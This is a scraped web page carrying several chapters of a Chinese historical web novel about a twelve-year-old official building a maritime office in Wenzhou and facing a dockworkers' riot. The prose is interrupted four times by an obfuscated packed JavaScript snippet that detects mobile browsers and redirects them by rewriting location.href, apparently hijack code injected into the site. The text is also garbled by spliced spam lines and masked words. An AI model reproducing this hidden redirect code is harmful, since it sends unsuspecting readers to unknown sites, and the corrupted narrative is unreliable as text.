名册上不仅有杜彦的 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 名字,还有另外五人。 每个人的姓名、籍贯、官职、履历,以及裴文忠对他们性格能力的评语,都写得详详细细。 “这六人,你认为都可以调入镇海司?” 陆明渊问道。 “回大人,这六人,皆是寒门出身,在温州府任上勤恳踏实,却因不善钻营,仕途坎坷。” “卑职认为,他们都是可造之材,只要大人肯给机会,必能为镇海司尽死力!” 裴文忠的语气无比肯定。 陆明渊合上名册,缓缓道。 “好。温州府通判,就由杜彦接任。吏部的文书,明日你亲自去办。” “至于另外五人,你先去考察一番,看看他们是否真的愿意来我这镇海司。” “记住,我要的是绝对的忠诚,是能将身家性命都押上来的人。” “卑职遵命!”裴文忠心中一块大石落地,激动得难以自持。 他知道,从今天起,他裴文忠,将不再是那个在泥潭里挣扎的中年小吏。 他将成为这位少年权臣手中,最锋利的一把刀! 待裴文忠退下后,陆明渊才重新拿起那份名册,细细地看了起来。 漕运司,有了裴文忠这个主心骨,再配上这几个得力干将,架子算是初步搭起来了。 但这还远远不够。 海贸司、港务司、舟师司……这三个才是镇海司真正的核心。 钱袋子、油水池、刀把子。 每一个位置,都容不得半点差错。 他揉了揉眉心,感到一阵疲惫。 白天,他是温州知府,要处理堆积如山的公务。 晚上,他是镇海使,要为这个新生的庞然大物谋划未来。 十二岁的身体,终究还是有些吃力。 “若雪。”他轻声唤道。 “少爷。” 清冷的声音自身后传来,若雪端着一杯热茶,悄然出现。 “给我磨墨吧。” “是。” 墨香袅袅,烛火摇曳。 陆明渊铺开一张宣纸,提笔蘸墨。 他要写一封信,一封写给远在江苏的老师,林瀚文的信。 镇海司需要人才,而他认识的人中,见识最广、人脉最深的,莫过于这位江苏巡抚了。 他需要老师的帮助,为他举荐几个真正信得过,又有真才实学的干吏。 尤其是舟师司的主官,这个位置太过重要,非大才不能任之。 笔尖在纸上沙沙作响,窗外的夜色,愈发深沉。 温州的夜,看似平静,但陆明渊知道,在这平静的水面之下,早已是暗流汹涌。 第263章 陆家村八百里加急家书! 次日午后府衙后堂。 裴文忠带着一个中年文士恭敬地站在堂下。 那文士约莫三十出头的年纪身着一件洗得发白的青色儒衫身形清瘦面容儒雅。 只是眉宇间带着一股挥之不去的郁结之气那是长久压抑不得志所留下的烙印。 此人正是杜彦。 当他得知恩师裴文忠要带他来拜见新任的镇海使、温州知府陆明渊时心中是何等的忐忑与激动。 这位少年权臣的雷霆手段早已传遍了整个温州府一夜之间汪家灰飞烟灭裴文忠平步青云。 如今这等天大的机缘似乎就要落到他这个蹉跎了半生的八品经历头上了。 “学生杜彦拜见使台大人!” 杜彦整理了一下衣衫对着上首端坐的那个稚气未脱却威势自生的少年深深一揖。 “杜先生不必多礼。” 陆明渊的声音平和却带着一种不容置疑的力量“坐吧。” “谢大人。” 杜彦依言坐下却只敢坐半个屁股腰杆挺得笔直双手放在膝上一副谨小慎微的模样。 陆明渊将他的神态尽收眼底开门见山地说道。 “裴郎中向我举荐了你说你有经世之才却屈居于府衙经历之位。” “本官爱才不愿明珠蒙尘。只是耳听为虚眼见为实你的才干本官还需亲自考校一番。” 杜彦心中一凛连忙起身躬身道。 “大人考校是学生之幸!学生必竭尽所能不负大人厚望!” “好。”陆明渊点了点头神色平静地说道。 “平阳、瑞安二县前番因倭乱受损惨重百姓流离失所田地荒芜。” “朝廷拨下的第一批赈灾粮款已经到了本官现在命你为赈灾专员全权负责二县的赈灾事宜。” 此言一出一旁的裴文忠眼中闪过一丝喜色而杜彦却是猛地一怔。 赈灾! 这可是个天大的苦差更是个烫手的山芋! 灾民嗷嗷待哺地方豪强虎视眈眈。 稍有不慎便是贪墨赈灾粮款的大罪轻则丢官罢职重则人头落地。 但反过来说这同样是一个天大的机遇若是办好了便是泼天的功绩! 这位使台大人一上来就给了他这么一道难题这既是考验也是信任! 杜彦压下心中的波澜只觉得一股沉寂了多年的热血 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 。 他已经蹉跎了太久,他已经没有什么可以再失去的了! “学生……领命! 杜彦的声音因为激动而微微颤抖,他再次深深一拜,这一次,拜得心悦诚服。 “学生必不负大人所托,定让二县百姓,安然度过此劫! 陆明渊看着他眼中重新燃起的火焰,嘴角勾起一抹微不可查的笑意。 办公能力可以磨炼,但一颗为民之心,却是最难得的。 从杜彦的反应来看,此人心中尚有百姓,可用。 “本官给你十日时间, 陆明渊伸出一根手指,“十日之内,我要看到二县灾情缓解,民心安定。 “府衙的吏员、府库的粮款,你皆可调动。若有地方官吏或豪绅胆敢阻挠,先斩后奏,本官为你担着! “学生……遵命! 杜彦只觉得一股豪气直冲天灵盖。 他从未想过,有朝一日,自己也能得到上官如此毫无保留的信任和支持。 士为知己者死,这一刻,他愿意为眼前这个少年,赴汤蹈火! 待杜彦和裴文忠退下后,陆明渊随即又下了一道命令。 以镇海司的名义,发布招贤令! 告示张贴于温州府各处城门,乃至浙江各府县。 “凡大乾进士、举人,有志于靖海安民、开疆拓土者,无论出身,无论过往,皆可至温州府镇海司衙门毛遂自荐。 “凡通过本使考核者,一律破格录用,由本使亲自上奏吏部,授予官职! 这道招贤令一出,整个浙江官场为之震动! 不知多少郁郁不得志的读书人,看到了人生的曙光。 他们或因朝中无人,或因不善钻营,被排挤在官场的边缘,空有一身抱负却无处施展。 而现在,陆明渊,这位新晋的少年权臣,给了他们一个机会,一个一步登天的机会! 一时间,无数读书人收拾行囊,从浙江各地,乃至邻近的福建、江苏,纷纷涌向温州府,只为求一个面见镇海使的机会。 温州府,这座沿海大城,瞬间成了整个大乾东南的焦点。 处理完这些,陆明渊还没来得及喘口气,府衙的门子便来通报,宁波沈家和温州陈家的管事求见。 “让他们进来。 很快,两位衣着华贵的中年管事便被带了进来,一见到陆明渊,便立刻躬身行礼。 “小人沈安,拜见使台大人! “小人陈平,拜见使台大 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 人!” “起来吧。”陆明渊呷了口茶淡淡问道。 “可是出海的船队准备好了?” 沈家的管事沈安连忙上前一步恭敬地回道。 “回禀大人正是。按照大人的吩咐我沈家与陈家合力共筹备了二十艘大海船。” “我们装满了上等的丝绸、瓷器、茶叶等货物总价值五十万两白银。” “温州水师也已调拨了十艘福船战舰护航外加上五千水师万事俱备只等大人一声令下便可扬帆出海!” 五十万两白银! 这几乎是两大家族能够调动的一半流动资金了。 陆明渊心中清楚这既是他们对自己的示好与投资也是一场豪赌。 赌赢了海贸航线重开他们将赚得盆满钵满。 赌输了这五十万两白银打了水漂两大家族也要伤筋动骨。 “很好。”陆明渊放下茶杯“让邓总兵来见我。” 不多时身材魁梧、面容黝黑的温州总兵邓玉堂便大步流星地走了进来。 “末将邓玉堂参见使台大人!” “邓总兵不必多礼。” 陆明渊抬手示意“船队准备出航此行目的地以及航线安排你且说来听听。” 邓玉堂抱拳应道:“回大人末将与两位管事商议过了。此次出海第一站定在琉球。” 他从怀中取出一副简易的海图在桌上铺开指着上面的一个岛屿说道。 “大人请看从温州出发一路向东途经台湾岛北端再借着洋流转向东北便可抵达琉球国。” “此条航线前朝时便有商船走过相对稳妥。” “当年咱们大乾的丝绸、瓷器在琉球极受欢迎可以换取他们的特产如硫磺、马匹以及各种精美的工艺品。” “尤其是他们用白银打造的器物工艺精湛运回大乾 “末将记得当年一把琉球的银刻龙柄短刀在江宁府能卖到三百两白银的天价!” 邓玉堂的眼中闪烁着兴奋的光芒。 “按照往年的行情此行五十万两的货物若是顺利至少能换回价值百万两的财货。” “若是运气好赶上行情大涨两百万两也未可知!” 陆明渊静静地听着手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777354|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指在海图上轻轻划过。 两百万两! 足足翻了四倍! 这仅仅是去一趟琉球的收益。 若 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 是航线能延伸到东瀛,甚至更远的南洋吕宋等地,那利润更是不可想象。 这便是海贸的魅力,也是镇海司存在的根本意义。 他沉吟片刻,看向邓玉堂,问道:“此行风险如何?” 邓玉堂神色一肃,沉声道。 “风险有三。其一,是海上风浪,变幻莫测,此乃天威,非人力可抗。” “其二,便是倭寇,虽说汪家已灭,但海上仍有零星倭寇流窜,不可不防。” “其三,便是琉球国对我大乾商船的态度,毕竟海禁多年,人心难测。” “不过大人放心,”邓玉堂拍着胸脯保证道。 “此次统帅乃是末将心腹,经验丰富,当年就曾经开辟海道,对于海贸一事,颇有心得。” “由他亲率十艘福船战舰护航,船上皆是精锐士卒,火炮、火铳一应俱全。寻常倭寇,来多少灭多少!” “至于琉球国,咱们先礼后兵,若他们以礼相待,咱们便公平交易。” “若他们敢有歹心,末将定让他们瞧瞧我大乾水师的厉害!” 陆明渊点了点头,邓玉堂虽是武将,但心思缜密,考虑得颇为周全。 “好,就依你所言。” 陆明渊一锤定音,“三日后,择吉时,扬帆出海!” “末将遵命!” “另外,”陆明渊话锋一转,目光变得深邃起来。 “镇海司下设舟师司,主管水师舰队。这个衙门,本官想交给你来管,你可愿意?” 邓玉堂闻言,虎躯一震,眼中爆发出难以置信的精光。 舟师司!那可是镇海司的刀把子! 是整个镇海司武力的核心! 这位使台大人,竟然愿意将如此重要的位置,交给自己? 邓玉堂瞬间明白了,这是知遇之恩! 是天大的信任! 他“噗通”一声单膝跪地,声如洪钟。 “大人信得过末将,末将愿为大人效死!” “起来吧。”陆明渊虚扶一把。 “舟师司初立,百废待兴,也需要人手。你在温州水师多年,想必有不少得力的心腹。” “可以举荐一些人上来,只要有真才实干,本官不吝官职。” 这是放权,也是拉拢。 陆明渊深知,自己对军务一窍不通,专业的事情,就要交给专业的人来做。 邓玉堂是胡宗宪举荐的人,又是温州本地总兵,由他来执掌舟师司,再合适不过。 “谢大人!” 邓玉堂激动得满脸通红,他知道,自己的机会,来了! 安排好出海事宜,陆明渊终于有了一丝空闲。 他靠在椅背上,闭目沉思。 镇海司的架子,在他的推动下,正以一种惊人的速度搭建起来。 衙门选址已定,裴文忠负责的漕运司有了杜彦等人,开始走上正轨。 邓玉堂执掌舟师司,也已是板上钉钉。 招贤令一出,不愁没有文人墨客前来投效。 海贸航线的开拓,也即将启程。 一切,都在朝着他预想的方向发展。 然而,就在此时,门外忽然传来一阵急促的脚步声。 一名府衙的亲卫快步走进,单膝跪地,双手呈上一封用蜜蜡封口的信件。 “大人,江陵县陆家村八百里加急家书!” 第264章 海贸将开,八方商贾汇聚 “大人江陵县陆家村八百里加急家书!” 八百里加急通常只用于军国大事。 用在家书上足以说明送信任之人心中何等的焦灼。 陆明渊心中微微一沉面上却依旧不动声色伸手接过那封用蜜蜡严密封装的信件。 信封的质地是寻常的麻纸边缘处甚至有些粗糙的毛刺。 上面用略显笨拙的笔迹写着“明渊吾儿亲启”几个字字里行间透着一股熟悉的朴拙气息。 是父亲的笔迹。 他挥了挥手示意亲卫退下这才用小刀小心翼翼地挑开蜜蜡展开信纸。 信中的内容并不复杂字迹也一如信封上那般谈不上俊秀却一笔一划写得极为认真。 信是村长陆厚德口述父亲陆从文代笔。 信中先是说了些村里的家长里短哪家添了丁哪家的牛又生了崽。 言辞间充满了对他在温州府大展神威的骄傲与自豪。 而后话锋一转陆厚德才小心翼翼地道出了此番来信的真正目的。 建一个学塾。 陆厚德在信中说陆家村的孩子们看着陆明渊成了状元郎成了朝廷大员一个个心里都燃起了火苗都想读书识字走和他一样的路。 村里虽然凑了些钱请了个落魄的童生来教书但终究不是长久之计。 他希望陆明渊若是有余力能帮村里建一个像样的学塾再请一位有真才实学的先生。 至于村里那些没读书天赋的年轻人陆厚德也提了一嘴。 他说这些后生都是实在人有力气肯吃苦若是陆明渊身边缺些跑腿办事的杂役不妨从村里挑几个。 信的末尾陆厚德反复叮嘱说这些都只是他一个老头子的痴心妄想让陆明渊千万不要为难。 若是会影响到他的官声前程 陆家村能出他这么一个状元郎已经是祖坟冒了青烟不敢再奢求更多。 陆明渊手持着那张薄薄的信纸却觉得它重若千钧。 他仿佛能看到在昏黄的油灯下村长那张布满皱纹的脸上是如何带着期盼又带着忐忑。 又能看到父亲陆从文又是如何笨拙地握着笔将老人的嘱托小心地落在纸上。 真诚朴实不带一丝强求。 这便是他的族人。 如今他身居高位执掌镇海司权柄在握。 想要给陆家村安排一些差事不过 你的朋友正在书荒,快去帮帮他吧 是一句话的事情。 但他知道不能这么做。 镇海司初立无数双眼睛正盯着这里任何一点任人唯亲的举动都会被无限放大成为政敌攻讦的把柄。 更重要的是镇海司的未来是要驾驭东南海疆的庞然大物。 他需要的是真正的干吏、能臣而非一群只凭血缘关系维系的庸碌之辈。 授人以鱼不如授人以渔。 村长想要建学塾这才是真正看到了根子上。 陆明渊沉吟片刻心中已有了计较。 他走到案前重新铺开一张信纸提起笔蘸饱了墨。 他决定给村长回一封信。 信中 他并不建议仅仅在陆家村修建学塾而是提出了一个更为大胆的方案——举村搬迁。 他给了两个选择。 其一是迁至温州府。他如今坐镇此地庇护一个村子绰绰有余。 温州府乃东南大港商贸繁华族人无论是想寻个营生还是让孩童入学都远比困在江陵县那个小地方要强上百倍。 其二则是迁往杭州。 杭州是省城文风鼎盛更是鱼米之乡。 他的父母如今就在杭州老师林瀚文的本家林家亦在杭州。 有这两层关系照拂陆家村在杭州立足绝非难事。 孩童们可以进入更好的学塾甚至有机会拜入名师门下。 而那些不愿读书的族人在杭州这样的繁华都会无论是做些小生意还是进入铺子当学徒都比在乡下刨地更有前途。 当然陆明渊也充分考虑到了故土难离的情绪。 他在信的最后写道若是族人们实在不愿离开故土他也会立刻自掏腰包。 到时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777355|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候为村里建起一座最好的学塾再以重金聘请名师前去执教绝不让村里的孩子输在起点。 如何抉择全凭族人自己商议。 写完这封信将其仔细封好交给亲卫命其以最快的速度送回江陵县。 陆明渊心中的一块石头才算落了地。 紧接着他又提笔给远在杭州的父母写了一封信。 自上任以来这已是他写的第四封家书。 前三封报喜不报忧只说自己在温州一切安好让他们勿要挂念。 而这一次他将陆家村的事情在信中提了提言明自己已经去信村长建议族人搬迁。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 若是族人最终选择去杭州,还望父母能代为照拂一二,帮忙寻个落脚安顿的地方。 他知道,以母亲王氏的精明能干和父亲的忠厚人望,在杭州安顿一个村子,并非难事。 更何况,还有林家的帮衬。 处理完这些家事,陆明渊才将全部心神重新投入到公务之中。 温州府,这座古老的沿海城市,正因为他的到来,而焕发出一种前所未有的活力。 招贤令一出,四方贤才云集;海贸将开,八方商贾汇聚。 繁华的背后,新的矛盾也随之滋生。 本地商帮与外来商贾为了抢夺码头、仓库而大打出手。 不同省份的行会之间,为了某样紧俏货物的定价权而争执不休。 甚至连街头的小贩,也因为地盘问题,闹到了府衙。 这些问题都是温州发展带来的必然问题,有人的地方就有江湖! 有江湖就有纷争,这是在所难免的事情! 就在陆明渊翻阅公务的时候,屋外传来了一阵急促的声音! “大人!大人!不好了!” 一名府衙的差役连滚带爬地冲了进来,脸色煞白,上气不接下气地喊道。 “宁远码头……宁远码头出大事了!几百个码头力工和沈家、陈家的护卫打起来了,已经……已经**了!” 第265章 本官倒要看看,谁敢动一下! “什么?” 陆明渊猛地回头。 那差役喘着粗气,急忙说道。 “码头力工说两家的商行克扣工钱,还打**他们一个兄弟,现在几百号人围着码头,把路都堵**!” “同知崔大人已经带人过去了,可……可根本控制不住局面!” “崔大人让小的来禀报大人,请大人立刻调派温州卫前往**!” 温州卫! 那可是驻军! 一旦动用驻军**百姓,事情的性质就彻底变了! 陆明渊心中的狂怒与焦急瞬间被这突如其来的军情强行压下了一分。 他闭上眼睛,深深地吸了一口气。 再睁开时,眼中的疯狂已经退去,取而代之的是一片冰冷的沉静。 “传我的令!” 陆明渊的声音恢复了往日的镇定,却带着一股彻骨的寒意。 “命邓玉堂亲率五百温州卫精锐,火速赶往宁远码头。” “没有我的命令,不准妄动,只负责封锁外围,不许任何人进出!” “另外,召集府衙所有差役,带上家伙,跟我走!” “大人,您的家事……” 亲卫统领迟疑地问道。 “先公后私!” 陆明渊吐出四个字,转身大步流星地向外走去。 “备马!去宁远码头!” …… 宁远码头,此刻已是人声鼎沸,杀气冲天。 数以百计的码头力工,手中拿着扁担、锄头、斧头。 甚至还有人拿着鱼叉,将整个码头的入口围得水泄不通,黑压压的一片,如同乌云压城。 他们个个赤着上身,露出古铜色的精壮肌肉,脸上写满了愤怒与悲戚。 在人群前方,温州府同知崔颖带着几十名衙役,被这股汹汹的人潮死死地堵在外面,进退两难。 “反了!反了!你们这是要**吗?” 崔颖气得脸色铁青,指着为首的几个力工破口大骂。 “光天化日,聚众械斗,还敢围堵官差!这是谋逆大罪!你们知不知道?是要抄家灭族的!” 他声色俱厉,试图用官威镇住这群泥腿子。 然而,愤怒早已冲昏了这些底层百姓的头脑,亲人的死亡让他们无所畏惧。 “我呸!狗官!” 人群中,一个身材魁梧的汉子啐了一口唾沫,红着眼睛吼道。 “你们和那些黑了心的商人穿一条裤子!克扣我们的血 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 汗钱不说,还打**我兄弟阿东!” "今天你们要是不给个说法,谁也别想从这过去!” “对!不给说法,谁也别想过去!” “血债血偿!血债血偿!” 人群的情绪瞬间被点燃,几百人齐声呐喊,声震云霄。 他们手中的武器挥舞着,大有随时都要冲上来拼命的架势。 崔颖吓得后退了两步,他身后的衙役们也都握紧了腰间的佩刀,手心全是冷汗。 这阵仗,他们何曾见过! “大胆刁民!” 崔颖色厉内荏地吼道。 “来人!给我冲开一条路!本官倒要看看,谁敢动一下!” 他一挥手,身后的衙役们硬着头皮,举起水火棍,就要往前冲。 码头的力工们见状,也纷纷举起了手中的锄头和镰刀,双方剑拔**张。 一场更大规模的**,一触即发! “住手!” 就在这千钧一发之际,一声清朗而威严的呵斥如同一道惊雷,在嘈杂的人群中炸响。 “哒、哒、哒……” 清脆而富有节奏的马蹄声由远及近,人群不自觉地分开一条道路。 只见一匹神骏的白马之上,端坐着一位身着绯色官袍的少年。 他面容俊秀,眉宇间却带着一股不怒自威的凛然之气,目光如电,扫过全场。 “是陆大人!” “陆知府来了!” “青天大老爷来了!” 围观的百姓中,不知是谁先喊了一声,紧接着,惊呼声此起彼伏。 陆明渊的威名,在铲除汪家,扫平倭寇之后,早已在温州府深入人心。 在百姓眼中,他就是正义的化身,是能为他们做主的好官! 原本剑拔**张的码头力工们,看到陆明渊的瞬间,气势也为之一滞,手中的动作都慢了下来。 “他们打**阿东!不能让他们进去!” 人群中,一个尖厉的声音再次响起,试图煽动众人的情绪。 “他们**结,都是一伙的!不能信他!” 鼎沸的人声再次有了抬头的趋势。 陆明渊的目光如鹰隼般,瞬间锁定了那个藏在人群中高声叫嚷的汉子。 他催马向前,白马停在那汉子面前,居高临下,眼神冰冷。 “你是何人?籍贯何处?受谁指使,在此煽动人心?” 一连三问,声声如锤,带着一股上位者的威压,直击人心。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 那汉子被陆明渊的气势所慑,一时间竟有些语塞。 “拿下!” 陆明渊没有给他任何辩解的机会,冷喝一声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777356|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他身后的两名亲卫如狼似虎地扑上前,左右一架,便将那挑事的汉子死死按在地上。 这雷霆手段,瞬间镇住了场面。 不远处一些不明所以的力工还想上前,却被陆明渊冰冷的眼神扫过,脚步不由自主地停了下来。 陆明渊翻身下马,缓步走到人群的最前方,独自面对着数百名手持武器的愤怒力工。 他身形清瘦,站在那群肌肉虬结的汉子面前,显得有些单薄。 然而,他身上那股渊渟岳峙的气度,却让任何人都不敢小觑。 “本官陆明渊!” 他的声音不大,却清晰地传入了每个人的耳中。 “忝为温州知府,兼镇海司使,温州府内,所有军政、漕运、海事,皆由本官一言而决!” “你们心中有怨,有怒,有不平,可以!” 陆明渊的目光扫过一张张愤怒而悲伤的脸庞。 “现在,当着本官的面,说出来!谁家**人,谁家受了屈,站出来,告诉本官!” “本官在此立誓,定会为你们查明真相,还你们一个公道!” 他的话语铿锵有力,掷地有声。 “但若有人信不过本官,大可以继续拿着你手中的武器对着我!” “本官就站在这里,有胆子的,上前一步,与本官对话!” 话音落下,全场一片死寂。 陆明渊身后,那些被挡在外围的普通百姓开始纷纷附和起来。 “陆大人是好官啊!他为我们铲除了汪家狗贼!” “是啊!倭寇都是陆大人带兵打跑的!我们温州能有今天,全靠陆大人!” “大家有什么委屈,跟陆大人说!他一定会为我们做主的!” 一声声发自肺腑的呼喊,如同涓涓细流,汇入人心。 码头力工们眼中的暴戾之气渐渐消退,取而代之的是犹豫和挣扎。 他们紧握着武器的手,也缓缓地松开了。 终于,人群中走出一个身形尤为健硕的汉子。 他约莫三十岁上下,脸上有一道长长的疤痕,显得有些狰狞,但眼神却透着一股直率。 他走到陆明渊面前,将手中的扁担往地上一扔,抱拳躬身,闷声说道。 “小人赵天成,温州本地人,见过陆大人。” “**的阿东,是我们赵家村的兄弟,也是我的本家侄子。” 他抬起头,通红的眼睛直视着陆明渊,声音因为悲愤而微微颤抖。 “我们不是要**,我们只是想讨个公道!” “请陆大人……给我们一个公道!” 说完,这个铁塔般的汉子,“噗通”一声,双膝跪地,对着陆明渊,重重地磕了一个响头。 第266章 一刻钟之内,本官要见到人! 陆明渊见状,并未立刻去扶,而是侧身让开半步,不受此大礼。 他目光沉静如水,声音却带着不容置疑的力量。 “本官受的是朝廷俸禄,食的是万民之粟,为民申冤是分内之职,当不得如此大礼。赵天成,你且起来说话。 他大手一挥,对着身后黑压压的人群朗声道。 “本官要进去查明真相,是非曲直,一看便知!现在,立刻让开道路! “大人不可! “大人三思! 陆明渊身后的几名衙役脸色大变,急忙上前一步,拦在他的身前。 为首的班头焦急地拱手道。 “大人,里面情形不明,这些力工个个手持凶器,怒火中烧。 “您金枝玉叶,万万不可轻易涉险!万一……万一有个好歹,我等万死莫辞啊! 另一名衙役也附和道:“是啊大人!等邓将军的温州卫到了,将此地团团围住,再进去也不迟! 在他们看来,陆明渊此举无异于羊入虎口。 这些码头上的苦哈哈,平日里为了几文钱都能拼命。 如今**兄弟,更是红了眼,谁知道他们会不会做出什么疯狂的举动来。 陆明渊却只是淡淡地瞥了他们一眼,摇了摇头。 等温州卫? 那只会让矛盾更加激化。 他深知,大乾朝的百姓,尤其是这些底层的劳动者,骨子里是何等的淳朴。 他们敬畏官府,却也最恨官府的欺压。 若非被逼到了绝路,谁又愿意豁出性命去对抗朝廷? 今日之事,表面看是力工与商行护卫的械斗,根子上却是本地劳力与外来资本的利益冲突。 这种事情,用强权去**,只会埋下更深的祸根。 唯有以理服人,以公道平息众怒,方是上策。 这便是他敢于只身犯险的底气所在。 他相信自己的判断,也相信自己上任以来在温州府积累的官声。 他不再理会身后衙役的劝阻,目光径直望向刚刚起身的赵天成,声音平静而坚定。 “赵天成,你,带路! 赵天成被陆明渊这份胆气深深折服,他本就是个直肠子的汉子,最敬佩的就是有担当的好汉。 此刻见这位年轻的知府大人竟敢不带一兵一卒,只身进入他们力工的包围圈,心中的敬意油然而生。 他重重地点了点头,转过身,对着身后成百上千的兄弟们吼道。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “都给老子让开!让陆大人进去!” 他声如洪钟,那些原本还面带犹豫和警惕的力工们,看着陆明渊那坦荡无畏的身影。 再看看自己人赵天成的决断,终于还是缓缓向两侧退开,让出了一条仅容一人通过的狭窄通道。 “大人,请!” 赵天成侧身做了个请的手势。 陆明渊身后的衙役们见状,急忙想要跟上,却被赵天成和他身边的几个壮汉伸出粗壮的臂膀拦住了。 “我们只信陆大人一个!” 赵天成瓮声瓮气地说道,眼神里带着不容商量的决绝,“其他人,不能进去!” 衙役们顿时急了,还想争辩。 陆明渊却回过头,对他们轻轻摆了摆手,示意他们不必跟来。 随后,他点了点头,再无半分迟疑,迈开步子,独自一人走进了那条由愤怒人群组成的通道。 不远处,被挡在外围的同知崔颖,将这一切尽收眼底,整个人都看傻了。 他出身世家,自幼所学的便是明哲保身、趋利避害之道。 在他看来,为官者当爱惜羽毛,更要爱惜性命,似陆明渊这般将自己置于险境的行径,简直是疯了! 一个彻头彻尾的疯子!他无法理解,更不敢效仿。 陆明渊缓步前行,两侧是无数双复杂的眼睛,有愤怒,有悲伤,有怀疑,也有着一丝丝的期盼。 力工们手中紧握的扁担、锄头,几乎就擦着他的官袍而过,锋利的刃口在夕阳下泛着冰冷的光。 然而,他面色如常,步履沉稳。 那股从容不迫、渊停岳峙的气度,无形中形成了一股强大的气场,压过了周遭所有的喧嚣与戾气。 人群不自觉地为他屏住了呼吸,原本鼎沸的人声,此刻竟是一片死寂。 只剩下江风吹拂旗幡的猎猎声,以及陆明渊官靴踏在石板上的清脆回响。 终于,他走出了人群,眼前的景象豁然开朗。 只见宽阔的码头之上,已是狼藉一片。 鲜血染红了青石板,破碎的木箱、断裂的扁担随处可见,空气中弥漫着一股血腥与汗水混合的刺鼻味道。 整个冲突现场被清晰地分成了两个阵营。 最外围,也就是陆明渊刚刚走出的地方,是赵天成带领的力工们。 在他们身前,三具冰冷的尸体用破草席盖着,并排横陈在地。 尸身已经**水泡得发白肿胀,面目可怖,其中一具尤为年轻,看上去年纪不过十七八 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 岁。 而在码头的最里侧,靠近一艘艘巨大福船的地方。 几十名身穿统一劲装的护卫,正背靠着堆积如山的货物,组成了一道临时防线。 他们个个手持钢刀,神情紧张地与力工们对峙着,不少人身上也带着伤,显然刚刚经历了一场恶战。 陆明渊的目光没有在那些护卫身上停留,而是径直走到了那三具尸体旁边。 他蹲下身,不顾尸体散发出的腥臭,亲手揭开了一角草席,露出了那个年轻死者的脸。 那是一张稚气未脱的脸庞,此刻却双目圆睁,充满了惊恐与不甘。 一股无名火从陆明渊心底腾起,但他脸上的表情却愈发冰冷。 他缓缓站起身,转头看向跟上来的赵天成,声音低沉而沙哑,带着一股压抑的怒火。 “究竟,发生了什么事?” 赵天成看着本家侄子阿东的尸体,虎目含泪,双拳捏得咯咯作响。 他深吸一口气,努力平复着翻涌的情绪,用嘶哑的嗓音,将事情的来龙去脉一五一十地说了出来。 “大人,您要为我们做主啊!” 赵天成悲愤地说道。 “这两个月,从外地来的赵家和刘家的商行,来咱们温州赚钱,转卖丝绸和瓷器,销往京都。” “活计多了,本是好事,可他们却不当咱们是人看!” “他们找的管事,叫王麻子,心黑得流油!” “说好了的工钱,一拖再拖,到头发下来的时候,每个人都被克扣了三成!” “我们去找他理论,他非但不给,还骂我们是臭苦力,命比纸贱!” “今天下午,我侄子阿东气不过,又去找他要个说法。” “那王麻子仗着有护卫撑腰,竟然……竟然让人活活把阿东给打**!” “打**还不算,还把他的尸首扔进了江里!” 说到这里,赵天成再也控制不住,一个七尺高的汉子,竟当着陆明渊的面,涕泪横流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777357|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我们闻讯赶来,只想讨个公道,把阿东的尸首捞上来。” “可他们呢?他们非但不认,还动手**!我们又有两个兄弟,失足掉进了江里,再也没上来……” 他指着那三具尸体,悲怆地吼道。 “大人,您看!这就是他们给的公道!三条人命啊!” “就为了那点被克扣的血汗钱!这还有没有天理!还有没有王法!” “血债血偿!” “杀了他们!” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 